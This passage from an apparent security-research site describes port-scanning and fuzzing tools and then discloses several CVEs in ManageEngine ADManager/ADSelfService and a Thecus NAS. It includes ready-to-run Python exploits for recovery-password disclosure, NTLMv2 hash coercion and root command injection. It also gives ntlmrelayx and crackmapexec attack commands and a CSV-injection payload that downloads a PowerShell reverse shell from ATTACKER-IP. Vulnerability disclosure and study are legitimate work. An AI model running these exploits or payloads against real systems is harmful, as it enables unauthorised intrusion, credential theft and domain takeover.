2. In this part checked Rst flag and if this flag received means port is closed.
**FILTERED PORT**
Created Tcp Null package In initial phase. Then next this package was sent and response return is some icmp message types As is result means port is filtered.This icmp message types shown below.
* **Type 1 ==> Unassigned**
* **Type 2 ==> Unassigned**
* **Type 3 ==> Destination Unreachable**
* **Type 9 ==> Router Advertisement**
* **Type 10 ==> Router Selection**
* **Type 13 ==> Timestamp**
This process scapy code part is as following.
1. If response is use Icmp protocol, this part will work.
2. In this part checked icmp message types and if response contain this message types means port is filtered.
### FIN SCAN
In this tcp scan send Fin flag target system and tried to be detected port status.Other İmportant situtaion of the this scan will not work against system running Microsoft Windows, Cisco, BSDI, HP/UX,MVS and IRIX. They will all respond RST packets, even from open ports. That’s why this process tried based on linux system.
**OPEN PORT**
Created tcp Fin package in initial phase. Than next this package was sent and as a result if not reponse means port is open or filtered.This process scapy code part is as following.
1. Created tcp Fin package and required added parameters . Than this package sent on target system and received response assignment to ‘Tcp\_fin\_packet’ variable.
2. Received response checked in this part and if none response means port open or filtered.
**CLOSE PORT**
Created tcp Fin package in initial phase. Than next this package was sent and as a result if received Rst flag means port is close. This process scapy code part is as following.
1. Created tcp Fin package and required added parameters . Than this package sent on target system and received response assignment to ‘Tcp\_fin\_packet’ variable.
2. In this part checked Rst flag and if this flag received means port is closed.
**FILTERED PORT**
Created Tcp Fin package In initial phase. Then next this package was sent and response return is some icmp message types As is result means port is filtered.This icmp message types shown below.
* **Type 1 ==> Unassigned**
* **Type 2 ==> Unassigned**
* **Type 3 ==> Destination Unreachable**
* **Type 9 ==> Router Advertisement**
* **Type 10 ==> Router Selection**
* **Type 13 ==> Timestamp**
This process scapy code part is as following.
1. If response is use Icmp protocol, this part will work.
2. In this part checked icmp message types and if response contain this message types means port is filtered.
### **ACK SCAN**
###
The use of this tcp scan is for filtered or non-filtered ports on the target system.In tcp ack scans could be result all port or specially scanned port is filtered.This situation actually caused by firewall so port even not used the result may be filtered.
For example displays like following screen shouts when we scan a filtered port or some default tcp ports from firewall.
**FILTERED PORT**
Asena used with tcp ack scan way for to perform operation and the working logic is as follows.
Created Tcp ack package in initial phase. Than next this package was sent and not response. As a result of this process detected filtered port on target server.This process scapy code part is as following.
1. Created Tcp Ack package in this section and added required parameters. Next this package sent on target system and received response assignment to ‘ack\_packet’ variable.
2. The data type assigned value has been checked and if data type is None(Not response) reflected port is filtered.
**OR**
Again , in the first step, Created tcp ack package .Then next this package was sent and response return is some icmp message types. This icmp message types shown below.
* **Type 1 ==> Unassigned**
* **Type 2 ==> Unassigned**
* **Type 3 ==> Destination Unreachable**
* **Type 9 ==> Router Advertisement**
* **Type 10 ==> Router Selection**
* **Type 13 ==> Timestamp**
In response stated icmp message types could be reply to the tcp ack package sent. In this case detected port is filtered by firewall.This process scapy code part is as following.
**UNFILTERED PORT**
Created tcp Ack package in initial phase. Than next this package was sent and as a result if received Rst flag means port is unfiltered. This process scapy code part is as following.
1. Created Tcp Ack package in this section and added required parameters. Next this package sent on target system and received response assignment to ‘ack\_packet’ variable.
2. If response is use Tcp protocol, this part will work.
3. In this part checked Rst flag and if this flag received means port is unfiltered.
**OTHER BASIC PORT SCANNER FEATURES**
**ALL TCP PORTS SCANNER OPTION**
This option Perform scanning of 65535 tcp ports on target system. When doing this created is basic tcp socket and added required parameters.This process may take several while.
#### **SPECIFIC PORT SCANNER**
This option scan specific tcp port number on target system.When doing this created is basic tcp socket and added required parameters.
**SPECIFIC PORT SUBNET SCANNER**
This option scan specific tcp port number on target system.In this way is taken result faster.
**DEFAULT PORTS SCAN**
**BETWEEN PORT SCAN**
# Author: Mustafa Gündoğdu - b3kc4t
{% embed url="" %}
# Suyla
Suyla is the god takes the victim's soul to Ulgen. This for reason has been put tool name Suyla. Suyla's main purpace by changing http header values sending to target system.
Above Process could be perform with http GET and POST methods.
### REQUIREMENTS
* sys
* os
* colorama
* requests
* json
* re
### USAGE AND EXECUTION LOGIC
For example this process structre and descriptions made using portswigger blind sql injection lab is as following.In initial phase process interfaces is passed with **url** command. After that is entered http method type and target domain.(Http Methods: GET and POST)
After these proceses operation mode interface is passed with edit command. And In this interface will change http header is entered.
After this input is entered http header value and passed send operation menu. If you choose send command, this value sent to target and received response.
If you want could be this response html output, or instead you can search return word in this response.(In this cookie value of sql payload is tries detect administrators user's password length)
If in blind process is created a payload list. After that , this values added to determined place.(Determined place is expressed '$' and '#' characters, to be increased place is expressed with double '?')
```python
INCREASED PLACE
DETERMONED PLACE
```
After typing 'ok' and completing the payload list. After this process is entered a word for check true result, (In this attack attention is paid changes on page.) and is entered increase value. In this way payload list as much as the increase value tries on target system.(In initial phase increase value is 1)
### EXECUTION LOGIC
In this section we will explain how suyla's does it perform this process.
1. ‘?’ characters search in the entered http value and this result assignment to ‘plus\_result’ variable.
2. ‘$’ and ‘#’ characters search in the entered http value and this result assignment to ‘find\_result’ variable.
3. After , ‘plus\_result’ content checked here.
{% hint style="info" %}
See the source code for details that cannot be described here. [Source code](https://github.com/mustgundogdu/SUYLA/blob/master/suyla.py). Give it a click if you like.
{% endhint %}
{% embed url="" %}
# Author: Mustafa Gündoğdu - b3kc4t
# dcFinder
Find Domain Controllers using SRV records
dcFinder is basic python script that detects domain controllers in forest enviroinment using scapy module and DNS SRV records. In addition to detect hostname of domain controller, you can find Primary DC that is included in a specific site.
Query types: site, primarydc, globalcatalogdc, nonglobalcatalogdc, kerberos
```
SRV Records:
_ldap._tcp.._sites.dc.
_ldap._tcp.pdc._msdcs.
_ldap._tcp.gc._msdcs.
_ldap._tcp.dc._msdcs.
_kerberos._tcp.dc._msdcs.
```
#### Usage:
```
Use globalcatalogdc option to detect DCs in the Forest.
Example : python3 dcFinder.py --lookup --domain offensive.local --query globalcatalogdc
Use nonglobalcatalogdc option to check if there are Domain Controller(s) non-global catalog or not.
Example : python3 dcFinder.py --lookup --domain offensive.local --query nonglobalcatalogdc
Use site option to detect DC in the site.
Example : python3 dcFinder.py --lookup --domain offensive.local --query site --sitename gotham
Use kerberos option, if you have issue with ldap srv query for finding domain controller.
Example : python3 dcFinder.py --lookup --domain offensive.local --query kerberos
```
{% embed url="" %}
# Author: Metin Yunus Kandemir
# ADManager Plus Build < 7230 Elevation Of Privilege Vulnerability (CVE-2025-9435)
### # Requirements
* A technician user with the 'Modify user general properties' role and logon access to the server where ADManager is installed.
### # Description
If the technician user has logon rights on the server , they can escalate privileges to the service account or the user account that runs the Admanager with high privileges. The user can create an arbitrary directory through the web application and then copy a DLL file into this directory. When ADManager is restarted, the DLL file is executed with the privileges of the user running ADManager.
### # PoC
* Log in as the technician user and click “Profile Attributes.”
* Select “Home folder” and in the “Connect” box, type an arbitrary network path. Then enter the name of the logged-in technician user and click “Search.”
* Capture the request using Burp Suite, replace the value of the **`homeDirectory`** parameter with `....\\jre\\lib\\ext\\amd64` and forward the request.
* Select the technician user and click “Apply.”
* A directory named **“amd64”** will be created under `C:\Program Files\ManageEngine\ADManager Plus\jre\lib\ext`. The technician user will have **Full Control** permissions over the **“amd64”** directory.
* Create malicious DLL files named **`sunmscapi.dll`** or **`sunec.dll`** to obtain a reverse shell.
* Log in to the server where ADManager is installed as the technician user. Copy a DLL file into the directory `C:\Program Files\ManageEngine\ADManager Plus\jre\lib\ext\amd64`.\
Normally, the user cannot copy files directly under `C:\Program Files\ManageEngine\ADManager Plus\jre\lib\ext` due to insufficient privileges. However, by exploiting the arbitrary directory creation vulnerability, the user obtains **write access** to the **“amd64”** subdirectory and is able to copy the malicious files.
* Once ADManager is restarted, the malicious DLL will be executed, resulting in a **reverse shell with elevated privileges**.
{% embed url="" %}
```
# Author: Metin Yunus Kandemir
```
# ADManager Plus Build < 7210 Elevation of Privilege Vulnerability (CVE-2024-24409)
### # Description
The `Modify Computers` is a predefined role in ADManager for managing computers. If a technician user has the `Modify Computers` privilege over a computer, they can change the `userAccountControl` and `msDS-AllowedToDelegateTo` attributes of the computer object. In this way, the technician user can set `Constrained Kerberos Delegation` over any computer within the Organizational Unit that the user was delegated.
Contrary to what ADManager claims the user who has the `Modify Computers` role can change the privilege of computer objects in the Active Directory. The `Constrained Kerberos Delegation` can be set for any service such as CIFS, LDAP, HOST services. Then the user can access these services by abusing the `Constrained Kerberos Delegation`. In addition, the `Unconstrained Kerberos Delegation` can be set over the computer objects by changing the `userAccountControl` attribute. Normally, only users that have `SeEnableDelegationPrivilege` privilege can set constrained kerberos delegation. Only members of the `BUILTIN\Administrators` group have this privilege by default. The delegated user for an Organizational Unit can not set constrained kerberos delegation even if a user has the `GenericAll` right over a computer account, so the delegation process in Active Directory does not grant this privilege. However, the technician user can use the `SeEnableDelegationPrivilege` right via the `Modify Computers` role.
### # Vulnerability reasons
* ADMP Web App Authorization issue: Assigning a predefined `Modify Computers` role delegates the technician user to modify custom attributes of computers unexpectedly. Even though it appears that this privilege is not granted in the UI, the `Additional Custom Attribute` property is assigned and this leads to broken access control vulnerability.
* There is no restriction for editing the `userAccountControl` and `msDS-AllowedToDelegateTo` attributes of the computer objects. The ADMP application performs changes with domain admin privileges as designed so that if we can bypass some restrictions (e.g. format of attribute value), our requests are applied with domain admin privileges. This way we can edit the attributes `userAccountControl` and `msDS-AllowedToDelegateTo`.
### # Impact
A technician user elevates privileges from `Domain User` to `Domain Admin`. The user can fetch the `krbtgt` account hash using a `DCSync` attack after configuring `Constrained Kerberos Delegation` for the `LDAP` service of the domain controller on a computer. As another example, the user can set `Constrained Kerberos Delegation` on `CLIENT1$` for the `CIFS` service of the `DC` and then access the `CIFS` service. As a result, the user is delegated to manage `CLIENT1$` but he can access the `CIFS` service of the domain controller impersonating a user unexpectedly.
### # Proof Of Concept
Tested against ADManager Plus Build 7203
The attacker user can perform DCSync attack after adding the Constrained Kerberos Delegation for LDAP service with following prerequisites:\
**`Scenario 1:`**` ``If the attacker has local admin right over a computer and can manage this computer with the “Modify Computers” role in ADManager Plus`\
\
**`Scenario 2:`**` ``If the attacker adds a computer to Active Directory (MAQ, delegation) and manage this computer with the “Modify Computers” role`\
\
**`Scenario 3:`**` ``If the attacker can dump NT hash of a computer account (dumping hash with mimikatz, secretsdump, etc.) and manage this computer with the “Modify Computers” role`
{% embed url="" %}
```
# Author: Metin Yunus Kandemir
```
{% embed url="" %}
# Asp.Net Zero v12.3.0 - HTML Injection Leads To Open Redirect via Websockets (CVE-2023-48003)
### # Details
An open redirect through HTML injection in user messages in Asp.Net Zero before 12.3.0 allows remote attackers to redirect targeted victims to any URL via the '\# Exploit Title: Asp.Net Zero v12.3.0 - HTML Injection Leads To Open Redirect via Websockets
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://aspnetzero.com/
# Software Link: https://aspnetzero.com/
# Version: Asp.Net Zero < v12.3.0
# Proof Of Concept
As a concept, messages are transmitted with websockets. A user can redirect the victim user to an arbitrary URL through a message.
1. Send following as message to targeted online user:
<META HTTP-EQUIV="refresh" »
CONTENT="0;url=https://target-url/">
2. The redirection is triggered without interaction when the message sent by the attacker appears on the victim user's dashboard.
### # Proof Of Concept
{% embed url="" %}
# ManageEngine ADManager Plus Build < 7183 - Recovery Password Disclosure (CVE-2023-31492)
The Recovery Settings helps you configure the restore and recycle options pertaining to the objects in the domain you wish to recover. When deleted user accounts are restored, defined password is set to the user accounts.
The helpdesk technician user that has not privilege for backup/recovery operations can view the password and then compromise restored user accounts conducting password spraying attack in the Active Directory environment
### # Proof of Concept
* Login as a helpdesk technician that has not privilege over backup/recovery.
* Go to the URL [https://target/ConfigureRecoverySettings/GET\_PASS?req={"domainId"%3A"1"}](https://target/ConfigureRecoverySettings/GET_PASS?req=%7B%22domainId%22%3A%221%22%7D)
PoC Request
* The password of other domains (if it is set) can be viewed changing req parameter value such as {"domainId":"2"}
* We can conduct password spraying to inspect restored account if the password is not changed after the account restoration.
```
crackmapexec smb -u users.txt -p unsafe.local@2023 --continue-on-success
```
### # The Exploit
{% code fullWidth="false" %}
```python
# Exploit Title: ManageEngine ADManager Plus Build < 7183 - Recovery Password Disclosure
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/products/ad-manager/
# Details: https://github.com/passtheticket/vulnerability-research/blob/main/manage-engine-apps/admanager-recovery-password-disclosure.md
# Version: ADManager Plus Build < 7183
# Tested against: Build 7180
# CVE: CVE-2023-31492
import argparse
import requests
import urllib3
import sys
"""
The Recovery Settings helps you configure the restore and recycle options pertaining to the objects in the domain you wish to recover.
When deleted user accounts are restored, defined password is set to the user accounts.
Helpdesk technician that has not privilege for backup/recovery operations can view the password and then compromise restored user accounts conducting password spraying attack in the Active Directory environment.
"""
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def getPass(target, auth, user, password):
with requests.Session() as s:
if auth.lower() == 'admanager':
auth = 'ADManager Plus Authentication'
data = {
"is_admp_pass_encrypted": "false",
"j_username": user,
"j_password": password,
"domainName": auth,
"AUTHRULE_NAME": "ADAuthenticator"
}
# Login
url = target + 'j_security_check?LogoutFromSSO=true'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0",
"Content-Type": "application/x-www-form-urlencoded"
}
req = s.post(url, data=data, headers=headers, allow_redirects=True, verify=False)
if 'Cookie' in req.request.headers:
print('[+] Authentication successful!')
elif req.status_code == 200:
print('[-] Invalid login name/password!')
sys.exit(0)
else:
print('[-] Something went wrong!')
sys.exit(1)
# Fetching recovery password
for i in range(1, 6):
print('[*] Trying to fetch recovery password for domainId: %s !' % i)
passUrl = target + 'ConfigureRecoverySettings/GET_PASS?req=%7B%22domainId%22%3A%22' + str(i) + '%22%7D'
passReq = s.get(passUrl, headers=headers, allow_redirects=False, verify=False)
if passReq.content:
print(passReq.content)
def main():
arg = get_args()
target = arg.target
auth = arg.auth
user = arg.user
password = arg.password
getPass(target, auth, user, password)
def get_args():
parser = argparse.ArgumentParser(
epilog="Example: exploit.py -t https://target/ -a unsafe.local -u operator1 -p operator1")
parser.add_argument('-t', '--target', required=True, action='store', help='Target url')
parser.add_argument('-a', '--auth', required=True, action='store',
help='If you have credentials of the application user, type admanager. If you have credentials of the domain user, type domain DNS name of the target domain.')
parser.add_argument('-u', '--user', required=True, action='store')
parser.add_argument('-p', '--password', required=True, action='store')
args = parser.parse_args()
return args
main()
```
{% endcode %}
Output Of The Exploit
{% embed url="" %}
```
# Author: Metin Yunus Kandemir
```
# Multiple ManageEngine Applications Critical Information Disclosure Vulnerability
The NTLMv2 hash of the domain user or the computer accounts, can be obtained coercing the target server authenticates an arbitrary SMB server. (CVE-2022-29457)
### # Introduction
**I have detected this vulnerability on the ADSelfService Plus Build 6118 first.**
[*ManageEngine ADSelfService Plus - easy-to-use, web-based product that provides centralizedadministration and management of Windows Active Directory.*](https://pitstop.manageengine.com/portal/en/community/topic/where-do-you-install-adselfservice-plus)
[*ADSelfService Plus application can be installed on any windows machines on the domain. It can be a server, DC or a workstation. The application uses the service account credentials provided within the application to communicate with the DCs for reset passwords and unlock accounts.*](https://pitstop.manageengine.com/portal/en/community/topic/where-do-you-install-adselfservice-plus)
In most cases, ADSelfService Plus application is installed with high domain user privileges. For exploitation it doesn't matter where application is installed. The important point is that the application runs under which privileges (domain user or service).
When scheduling report, the ADSelfService application exports report files to a local or network path. If I specify a SMB server on the network , the server that hosts ADSelfService authenticates the SMB server to export file. The NTLMv2 hash of the domain user or the computer accounts, can be obtained while the authentication is conducting. Relaying the captured hash can cause a privilege escalation in the Active Directory environment.
I noticed that the "schedule report" functionality is inclued in the ADManager Plus, ADAudit Plus, Exchange Reporter Plus. These applications are impacted the same vulnerability.
### # Detecting the Vulnerability
There is a scheduling report functionality and the Operator user can schedule a report default. While the Operator user sends reports to an email, it is stored `C:\ManageEngine\ADSelfService Plus\audit-data` as default.
For the storage path value , there is a character restriction ( `/ : * ? < > | "`). However, it is checked by the front-end only so it can be bypassed using the proxy. Also, the `\` character is not restricted.
If you set `STORAGE_PATH` parameter as `/../../bypass` or `C:\bypass` through Burp, the reports is extracted to `C:\bypass` directory.
The Operator user that doesn't have admin privileges can manipulate this scheduling report functionality. If the storage path is a remote file share, the server which hosts the ADSelfService application authenticates to the specified server for storing reports. When authenticating, the NTLMv2 hash is captured.
The user can set storage path as `\\IP\share` and the server authenticates to the remote address with privileges of the ADSelfService process. There are two options:
* The ADSelfService runs as a service
* The ADSelfService runs with domain user privileges
The NTLMv2 hash of the computer account can be captured for the first option and the NTLMv2 hash of the domain user can be captured for the second. After the capturing the hash value, it can be relayed to other servers which are SMB singing or LDAP signing (for DC) is disabled.
{% hint style="danger" %}
If you capture the NTLMv2 hash of computer account, relay it to a server that the computer account is added as a local admin user.
If the ADSelfService runs on the DC as a service, you can capture the NTLMv2 hash of the Domain Controller account, relay it to the another Domain Controller through LDAP and gain high privileges.
{% endhint %}
### # Exploitation
#### When the ADSelfService runs with domain user privileges (the user has high privileges in most cases):
The ADSelfService runs with Domain Admin user privileges for my scenario. However, it is not a requirement for exploitation.
Set up a SMB Server
```
python tools/impacket/examples/smbserver.py share .
```
Login the ADSelfService application as operator user. Then create schedule report and set the store path as `\\smb-server\share`
Capture and try cracking the NTLMv2 hash.
As a more exploitable scenario, the captured hash can be relayed to another computer which SMB signing is disabled using `ntlmrelayx` .
{% hint style="info" %}
The SMB Signing is disabled default, if the host is not a Domain Controller.
{% endhint %}
If the compromised user has sufficient privileges, dumping the NT hash of local users and command execution on the remote machine are possible.
```
python3 ntlmrelayx.py -sbm2support -t smb://smb-server
```
As another option, the captured hash can be relayed to another Domain Controller.
```
python3 ntlmrelayx.py -t ldaps://DC2
```
#### When the ADSelfService runs as a service
If the ADSelfService runs as a service on the Domain Controller. Exploiting this vulnerability, capture the hash of the Domain Controller account and relay it to another one or the ADCS.
{% hint style="danger" %}
From SMB to LDAP will only be possible if the target is vulnerable to CVE-2019-1040 or CVE-2019-1166.
{% endhint %}
```
//for relaying
python3 ntlmrelayx.py -t ldaps://DC2
```
After setting `ntlmrelayx`, login the ADSelfService application as operator user. Then create schedule report and set the store path as `\\smb-server\share`
Since the report is generated every five minutes, the DC authenticates to SMB server after five minutes.
The exploit:
{% embed url="" %}
```python
# Exploit Title: ManageEngine ADSelfService Plus Build < 6121 - The NTLMv2 Hash Disclosure
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/products/self-service-password/download.html
# Details: https://docs.unsafe-inline.com/0day/multiple-manageengine-applications-critical-information-disclosure-vulnerability
# Version: ADSelfService Plus Build < 6121
# Tested against: Build 6118
# CVE: CVE-2022-29457
# !/usr/bin/python3
import argparse
import requests
import urllib3
import random
import sys
"""
1-
a)Set up SMB server to capture NTMLv2 hash.
python3 smbserver.py share . -smb2support
b)For relaying to SMB:
python3 ntlmrelayx.py -smb2support -t smb://TARGET
c)For relaying to LDAP:
python3 ntlmrelayx.py -t ldaps://TARGET
2- Fire up the exploit.
You will obtain the NTLMv2 hash of user/computer account that runs the ADSelfService in five minutes.
"""
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def get_args():
parser = argparse.ArgumentParser(
epilog="Example: exploit.py -t https://Target/ -l Listener-IP -a adselfservice -d unsafe.local -u operator1 -p operator1")
parser.add_argument('-d', '--domain', required=True, action='store', help='DNS name of the target domain. ')
parser.add_argument('-a', '--auth', required=True, action='store', help='If you have credentials of the application user, type adselfservice. If you have credentials of the domain user, type domain')
parser.add_argument('-u', '--user', required=True, action='store')
parser.add_argument('-p', '--password', required=True, action='store')
parser.add_argument('-t', '--target', required=True, action='store', help='Target url')
parser.add_argument('-l', '--listener', required=True, action='store', help='Listener IP to capture NTLMv2 hash')
args = parser.parse_args()
return args
def scheduler(domain, auth, target, listener, user, password):
try:
with requests.Session() as s:
gUrl = target
getCsrf = s.get(url=gUrl, allow_redirects=False, verify=False)
csrf = getCsrf.cookies['_zcsr_tmp']
print("[*] Csrf token: %s" % getCsrf.cookies['_zcsr_tmp'])
if auth.lower() == 'adselfservice':
auth = "ADSelfService Plus Authentication"
data = {
"loginName": user,
"domainName": auth,
"j_username": user,
"j_password": password,
"AUTHRULE_NAME": "ADAuthenticator",
"adscsrf": [csrf, csrf]
}
#Login
url = target + "j_security_check"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"}
req = s.post(url, data=data, headers=headers, allow_redirects=True, verify=False)
#Auth Check
url2 = target + "webclient/index.html"
req2 = s.get(url2, headers=headers, allow_redirects=False, verify=False)
if req2.status_code == 200:
print("[+] Authentication is successful.")
elif req2.status_code == 302:
print("[-] Login failed.")
sys.exit(1)
else:
print("[-] Something went wrong")
sys.exit(1)
dn = domain.split(".")
r1 = random.randint(1, 1000)
surl = target + 'ServletAPI/Reports/saveReportScheduler'
data = {
'SCHEDULE_ID':'0',
'ADMIN_STATUS':'3',
'SCHEDULE_NAME': 'enrollment' + str(r1),
'DOMAINS': '["'+ domain +'"]',
'DOMAIN_PROPS': '{"'+ domain +'":{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","DOMAIN_SELECTED_OUS_GROUPS":{"ou":[{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","NAME":"'+ domain +'"}]}}}',
'SELECTED_REPORTS': '104,105',
'SELECTED_REPORT_LIST': '[{"REPORT_CATEGORY_ID":"3","REPORT_LIST":[{"CATEGORY_ID":"3","REPORT_NAME":"adssp.reports.enroll_rep.enroll.heading","IS_EDIT":false,"SCHEDULE_ELEMENTS":[],"REPORT_ID":"104"},{"CATEGORY_ID":"3","REPORT_NAME":"adssp.common.text.non_enrolled_users","IS_EDIT":true,"SCHEDULE_ELEMENTS":[{"DEFAULT_VALUE":false,"size":"1","ELEMENT_VALUE":false,"uiText":"adssp_reports_enroll_rep_non_enroll_show_notified","name":"SHOW_NOTIFIED","id":"SHOW_NOTIFIED","TYPE":"checkbox","class":"grayfont fntFamily fntSize"}],"REPORT_ID":"105"}],"REPORT_CATEGORY_NAME":"adssp.xml.reportscategory.enrollment_reports"}]',
'SCHEDULE_TYPE': 'hourly',
'TIME_OF_DAY': '0',
'MINS_OF_HOUR': '5',
'EMAIL_ID': user +'@'+ domain,
'NOTIFY_ADMIN': 'true',
'NOTIFY_MANAGER': 'false',
'STORAGE_PATH': '\\\\' + listener + '\\share',
'FILE_FORMAT': 'HTML',
'ATTACHMENT_TYPE': 'FILE',
'ADMIN_MAIL_PRIORITY': 'Medium',
'ADMIN_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_sub',
'ADMIN_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_msg_html',
'MANAGER_FILE_FORMAT': 'HTML',
'MANAGER_ATTACHMENT_TYPE': 'FILE',
'MANAGER_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_mgr_sub',
'MANAGER_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_mgr_msg_html',
'adscsrf': csrf
}
sch = s.post(surl, data=data, headers=headers, allow_redirects=False, verify=False)
if 'adssp.reports.schedule_reports.storage_path.unc_storage_path' in sch.text:
print('[-] The target is patched!')
sys.exit(1)
if sch.status_code == 200:
print("[+] The report is scheduled. The NTLMv2 hash will be captured in five minutes!")
else:
print("[-] Something went wrong. Please, try it manually!")
sys.exit(1)
except:
print('[-] Connection error!')
def main():
arg = get_args()
domain = arg.domain
auth = arg.auth
user = arg.user
password = arg.password
target = arg.target
listener = arg.listener
scheduler(domain, auth, target, listener, user, password)
if __name__ == "__main__":
main()
```
### # Other ManageEngine Applications
{% hint style="danger" %}
ADManagerPlus Build 7131, ADAuditPlus Build 7060, Exchange Reporter Plus Build 5701 are impacted same NTLMv2 hash information disclosure vulnerability.
{% endhint %}
There are too many user role types in the applications. The scheduling report permission is enough to exploit the vulnerability. If a technician user has scheduling report privilege, he can obtain the NTLMv2 hash of user that runs applications. If applications are installed as a service, the NTLMv2 hash of computer account can be obtained.
The technician user must have the following permissions on the ADManagerPlus:
The technician user must have the following permissions on the ADAuditPlus:
The technician user must have the following permissions on the Exchange Reporter Plus:
#### For capturing the NTLMv2 hash:
```
// set up SMB server first
python tools/impacket/examples/smbserver.py share .
```
Login the application technician user. Then create schedule report and set the store path as `\\smb-server\share`
When the reports are generated, the hash is obtained.
### # The Patch
The vulnerability has been fixed in ADSelfService Build 6121. You can see the release notes.
[A vulnerability causing the NTLM Hash to be disclosed to operators when configuring the storage path of a remote machine in the Reports tab has now been fixed.](https://www.manageengine.com/products/self-service-password/release-notes.html)
I take a look at source code after the patch. If you are not a admin user and the storage path starts with `\\` . You will be blocked with `adssp.reports.schedule_reports.storage_path.unc_storage_path` code.
If you are an admin user, you can still obtain the NTLMv2 hash.
# Author: Metin Yunus Kandemir
# Thecus N4800Eco Nas Server Control Panel Comand Injection
Command Injection vulnerability that lets attacker for executing command with root privileges.
I have discovered command injection vulnerability on the Thecus N4800Eco Nas Server control panel during penetration test. I could not analyze source code because I didn't have enough time. Hence, I will describe only how vulnerability is detected.
### **# Description**
Firstly, I have tried to add user through *Local User Configuration*, but server didn't accept special chars such as `$)(` . Also, user and group could be created using *Batch Input* option that is under the *User and Group Authentication* section. I set Batch Content as `$(ifconfig),22222,9999` that corresponds to username, password and group name.
{% code title="Request:" %}
```
POST /adm/setmain.php?fun=setbatch HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Origin: https://target
Connection: close
Referer: https://target/adm/index.php
Cookie: select_md=0; MYSESSID=*
batch_content=%24(ifconfig)%2C22222%2C9999
```
{% endcode %}
So that filtering can be bypassed using *Batch Content* option for adding malicious payload as username. After the user adding process, I sent second request for deleting `$(ifconfig)` user and *Local User remove succeeds* response is returned. However the user was not deleted, it is very interesting to me. I tried to understand what happened and noticed that there is a *system log* section.
Surprisingly I saw that `ifconfig` command is executed.
For verifying the command injection vulnerability i tried another command such as `id`
So there is a comman injection vulnerability that lets to execute command with `root` privilege. `Username` parameter seems to vulnerable. It is time to write basic Python script.
```python
import requests
import sys
import urllib3
# To fix SSL error that occurs when script is started.
# 1- Open /etc/ssl/openssl.cnf file
# At the bottom of the file:
# [system_default_sect]
# MinProtocol = TLSv1.2
# CipherString = DEFAULT@SECLEVEL=2
# 2- Set value of MinProtocol as TLSv1.0
def readResult(s, target):
d = {
"fun": "setlog",
"action": "query",
"params": '[{"start":0,"limit":1,"catagory":"sys","level":"all"}]'
}
url = "https://" + target + "/adm/setmain.php"
resultReq = s.post(url, data=d, verify=False)
dict = resultReq.text.split()
print("[+] Reading system log...\n")
#Set your command output range
print(dict[5:8])
def delUser(s, target, command):
d = {
"action": "delete",
"username": "$("+command+")"
}
url = "https://" + target + "/adm/setmain.php?fun=setlocaluser"
delUserReq = s.post(url, data=d, allow_redirects=False, verify=False)
if 'Local User remove succeeds' in delUserReq.text:
print('[+] %s command was executed successfully' % command)
else:
print('[-] %s command was not executed!' %command)
sys.exit(1)
readResult(s, target)
def addUser(s, target, command):
d = {'batch_content': '%24('+command+')%2C22222%2C9999'}
url = "https://" + target + "/adm/setmain.php?fun=setbatch"
addUserReq = s.post(url, data=d, allow_redirects=False, verify=False)
if 'Users and groups were created successfully.' in addUserReq.text:
print('[+] Users and groups were created successfully')
else:
print('[-] Users and groups were not created')
sys.exit(1)
delUser(s, target, command)
def login(target, username, password, command=None):
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
s = requests.Session()
d = {
"&eplang": "english",
"p_pass": password,
"p_user": username,
"username": username,
"pwd": password,
"action": "login",
"option": "com_extplorer"
}
url = "https://" + target + "/adm/login.php"
loginReq = s.post(url, data=d, allow_redirects=False, verify=False)
if '"success":true' in loginReq.text:
print('[+] Authentication successful')
elif '"success":false' in loginReq.text:
print('[-] Authentication failed!')
sys.exit(1)
else:
print('[-] Something went wrong!')
sys.exit(1)
addUser(s, target, command)
def main(args):
if len(args) != 5:
print("usage: %s targetIp:port username password command" % (args[0]))
print("Example 192.168.1.13:80 admin admin id")
sys.exit(1)
login(target=args[1], username=args[2], password=args[3], command=args[4])
if __name__ == "__main__":
main(args=sys.argv)
```
{% embed url="" %}
# Author: Metin Yunus Kandemir
# ManageEngine ADSelfService Plus 6.1 CSV Injection (CVE-2021-33256)
Obtain reverse shell in the domain environment exploiting CSV injection vulnerability
### # Description
There is a CSV injection vulnerability on the login panel of ManageEngine ADSelfService can be exploited by unauthenticated user. `j_username` parameter seems to vulnerable and reverse shell could be obtained if privileged user exports *"User Attempts Audit Report"* as CSV file.
{% code title="Payload:" %}
```
=cmd|'/C powershell.exe -c iex (New-Object Net.WebClient).DownloadString('http://ATTACKER-IP/Invoke-PowerShellTcp.ps1')'!A0
```
{% endcode %}
### # Proof Of Concept
**1-** Malicious user sends POST request to login page `https://TARGET-IP/j_security_check` and sets `j_username` parameter as like the above payload.
{% code title="j\_username parameter:" %}
```
=cmd|'/C powershell.exe -c iex (New-Object Net.WebClient).DownloadString('http://ATTACKER-IP/Invoke-PowerShellTcp.ps1')'
```
{% endcode %}
{% code title="POST Request:" %}
```
POST /j_security_check HTTP/1.1
Host: 192.168.1.253:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
